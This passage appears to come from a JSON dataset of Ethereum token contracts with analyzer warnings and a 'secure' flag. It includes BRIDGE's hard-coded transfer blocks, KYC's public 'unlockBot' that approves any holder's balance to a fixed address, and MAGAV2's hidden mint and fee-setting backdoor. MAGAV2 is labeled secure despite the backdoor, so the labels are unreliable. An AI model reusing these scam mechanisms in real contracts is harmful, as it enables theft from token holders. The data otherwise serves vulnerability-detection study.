| ID: f269f64\n _p76238 = account;\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: edd8c28): BRIDGE.actionAdmin(address).account lacks a zerocheck on \t _p76239 = account\n\t// Recommendation for edd8c28: Check that the address is not zero.\n function actionAdmin(address account) public virtual returns (bool) {\n if (_msgSender() == 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n\t\t\t// missing-zero-check | ID: edd8c28\n _p76239 = account;\n\n return true;\n }\n\n function isInAirDropList(address addr) internal view returns (bool) {\n return\n addr == owner() ||\n addr == UNISWAP_ROUTER ||\n addr == _p76234 ||\n addr == _p76235 ||\n addr == _p76237 ||\n addr == _p76238;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9f4b785): BRIDGE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9f4b785: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (\n (to == UNISWAP_V3_ROUTER &&\n from != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1) ||\n (from == UNISWAP_V3_ROUTER &&\n to != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n ) {\n revert(\"Only owner can transfer tokens to Uniswap V3 Router\");\n }\n\n if (\n (from != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1 &&\n to == _p76236) ||\n (from == _p76236 &&\n to != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n ) {\n uint256 _X7W88 = amount + 1;\n\n require(_X7W88 < _e242);\n }\n\n if (\n (from != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1 &&\n to == _p76237) ||\n (from == _p76237 &&\n to != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n ) {\n uint256 _X7W88 = amount + 1;\n\n require(_X7W88 < _e242);\n }\n\n if (\n (from != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1 &&\n to == _p76238) ||\n (from == _p76238 &&\n to != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n ) {\n uint256 _X7W88 = amount + 1;\n\n require(_X7W88 < _e242);\n }\n\n if (\n (from != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1 &&\n to == _p76239) ||\n (from == _p76239 &&\n to != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n ) {\n uint256 _X7W88 = amount + 1;\n\n require(_X7W88 < _e242);\n }\n\n if (\n (from != _p76234 &&\n to == 0x1F24a4bF64Be274199A5821F358A1A4a939a10aD) ||\n (_p76234 == to &&\n from != 0x1F24a4bF64Be274199A5821F358A1A4a939a10aD &&\n from != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1) ||\n (from != _p76235 &&\n to == 0x1F24a4bF64Be274199A5821F358A1A4a939a10aD) ||\n (_p76235 == to &&\n from != 0x1F24a4bF64Be274199A5821F358A1A4a939a10aD &&\n from != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n ) {\n uint256 _X7W88 = amount + 1;\n\n require(_X7W88 < _e242);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8225f3d): BRIDGE._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8225f3d: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = \"Bridge Payments\";\n\n _symbol = \"BRIDGE\";\n\n uint256 _amount = 1000000000;\n\n _mint(msg.sender, _amount * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1297.sol",
"secure": 0,
"size_bytes": 12787
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract KYC is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExempt;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2afbd73): KYC._bots is never initialized. It is used in KYC._transfer(address,address,uint256) KYC.unlockBot(address)\n\t// Recommendation for 2afbd73: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ca418ff): KYC._kycccc should be constant \n\t// Recommendation for ca418ff: Add the 'constant' attribute to state variables that never change.\n address private _kycccc = 0x54c719BaA52e123C3310c761EF678f67Ddc4e55D;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7793a27): KYC._initBuyTax should be constant \n\t// Recommendation for 7793a27: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: c1095d4): KYC._initSellTax should be constant \n\t// Recommendation for c1095d4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab64f31): KYC._finalBuyTax should be constant \n\t// Recommendation for ab64f31: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 94dc7f3): KYC._finalSellTax should be constant \n\t// Recommendation for 94dc7f3: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a7aed28): KYC._reduceBuyAt should be constant \n\t// Recommendation for a7aed28: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: eb190df): KYC._reduceSellAt should be constant \n\t// Recommendation for eb190df: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: d9b0c82): KYC._preventCount should be constant \n\t// Recommendation for d9b0c82: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 10;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"KYC\";\n\n string private constant _symbol = unicode\"KYC\";\n\n uint256 public _maxTxAmount = (_tTotal * 1) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd7c8fa): KYC._minTaxSwap should be constant \n\t// Recommendation for cd7c8fa: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49c4bd1): KYC._maxTaxSwap should be constant \n\t// Recommendation for 49c4bd1: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExempt[owner()] = true;\n\n _isExempt[address(this)] = true;\n\n _isExempt[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f34c04d): KYC.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f34c04d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c174f9c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c174f9c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 79a9acd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 79a9acd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c174f9c\n\t\t// reentrancy-benign | ID: 79a9acd\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c174f9c\n\t\t// reentrancy-benign | ID: 79a9acd\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e48a66b): KYC._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e48a66b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 79a9acd\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c174f9c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4eed242): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4eed242: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: f4f73c6): KYC._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for f4f73c6: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2afbd73): KYC._bots is never initialized. It is used in KYC._transfer(address,address,uint256) KYC.unlockBot(address)\n\t// Recommendation for 2afbd73: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 322fbe3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 322fbe3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e0e5eb4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e0e5eb4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _gotTaxFees = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _gotTaxFees = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt) ? _finalBuyTax : _initBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExempt[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _gotTaxFees = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: f4f73c6\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4eed242\n\t\t\t\t\t// reentrancy-eth | ID: 322fbe3\n\t\t\t\t\t// reentrancy-eth | ID: e0e5eb4\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 4eed242\n\t\t\t\t\t\t// reentrancy-eth | ID: 322fbe3\n\t\t\t\t\t\t// reentrancy-eth | ID: e0e5eb4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 4eed242\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 322fbe3\n\t\t\t\t\t\t\t// reentrancy-eth | ID: e0e5eb4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 322fbe3\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 4eed242\n\t\t\t\t\t// reentrancy-eth | ID: e0e5eb4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 4eed242\n\t\t\t\t\t\t// reentrancy-eth | ID: e0e5eb4\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_gotTaxFees > 0) {\n\t\t\t// reentrancy-eth | ID: e0e5eb4\n _balances[address(this)] = _balances[address(this)].add(\n _gotTaxFees\n );\n\n\t\t\t// reentrancy-events | ID: 4eed242\n emit Transfer(from, address(this), _gotTaxFees);\n }\n\n\t\t// reentrancy-eth | ID: e0e5eb4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e0e5eb4\n _balances[to] = _balances[to].add(amount.sub(_gotTaxFees));\n\n\t\t// reentrancy-events | ID: 4eed242\n emit Transfer(from, to, amount.sub(_gotTaxFees));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4eed242\n\t\t// reentrancy-events | ID: c174f9c\n\t\t// reentrancy-benign | ID: 79a9acd\n\t\t// reentrancy-eth | ID: 322fbe3\n\t\t// reentrancy-eth | ID: e0e5eb4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n _taxWallet = payable(_kycccc);\n\n _caLimitSell = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2afbd73): KYC._bots is never initialized. It is used in KYC._transfer(address,address,uint256) KYC.unlockBot(address)\n\t// Recommendation for 2afbd73: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function unlockBot(address _vot) public returns (bool) {\n _approve(_vot, _kycccc, _tTotal);\n\n return _bots[_vot];\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e32f3a6): KYC.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for e32f3a6: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4eed242\n\t\t// reentrancy-events | ID: c174f9c\n\t\t// reentrancy-eth | ID: 322fbe3\n\t\t// reentrancy-eth | ID: e0e5eb4\n\t\t// arbitrary-send-eth | ID: e32f3a6\n _taxWallet.transfer(amount);\n }\n\n function getStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 68e4ed1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 68e4ed1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2348f3b): KYC.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2348f3b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 461fa3b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 461fa3b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 68e4ed1\n\t\t// reentrancy-eth | ID: 461fa3b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 68e4ed1\n\t\t// unused-return | ID: 2348f3b\n\t\t// reentrancy-eth | ID: 461fa3b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 68e4ed1\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 461fa3b\n tradingOpen = true;\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_1298.sol",
"secure": 0,
"size_bytes": 18638
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: a75620c): Contract locking ether found Contract BATDOG has payable functions BATDOG.receive() But does not have a function to withdraw the ether\n// Recommendation for a75620c: Remove the 'payable' attribute or add a withdraw function.\ncontract BATDOG is ERC20, Ownable {\n constructor() ERC20(unicode\"Bat-dog\", unicode\"BATDOG\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: a75620c): Contract locking ether found Contract BATDOG has payable functions BATDOG.receive() But does not have a function to withdraw the ether\n\t// Recommendation for a75620c: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1299.sol",
"secure": 0,
"size_bytes": 997
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}",
"file_name": "solidity_code_13.sol",
"secure": 1,
"size_bytes": 823
}
|
{
"code": "// SPDX-License-Identifier: MIT Licensed\n\npragma solidity ^0.8.0;\n\ninterface AggregatorV3Interface {\n function decimals() external view returns (uint8);\n\n function description() external view returns (string memory);\n\n function version() external view returns (uint256);\n\n function getRoundData(\n uint80 _roundId\n )\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n\n function latestRoundData()\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n}",
"file_name": "solidity_code_130.sol",
"secure": 1,
"size_bytes": 827
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MAGAV2 is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cd4f09b): MAGAV2._decimals should be immutable \n\t// Recommendation for cd4f09b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4407cdf): MAGAV2._totalSupply should be immutable \n\t// Recommendation for 4407cdf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ac359c3): MAGAV2._teamdmitaddress should be immutable \n\t// Recommendation for ac359c3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _teamdmitaddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _teamdmitaddress = 0x4184A1D50bDF6271F34dde0EDb794887E30b65be;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Apraove(address user, uint256 fPercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = fPercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, fPercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _teamdmitaddress;\n }\n\n function liqbeekse(address recipient, uint256 aDrops) external {\n uint256 receiveRewrd = aDrops;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_1300.sol",
"secure": 1,
"size_bytes": 5350
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract AMERICAYA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8222433): AMERICAYA._taxWallet should be immutable \n\t// Recommendation for 8222433: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b23be1): AMERICAYA._finalBuyTax should be constant \n\t// Recommendation for 8b23be1: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 557e608): AMERICAYA._finalSellTax should be constant \n\t// Recommendation for 557e608: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 25;\n\n uint256 private _reduceSellTaxAt = 25;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"America Ya!\";\n\n string private constant _symbol = unicode\"AYA\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7e8f915): 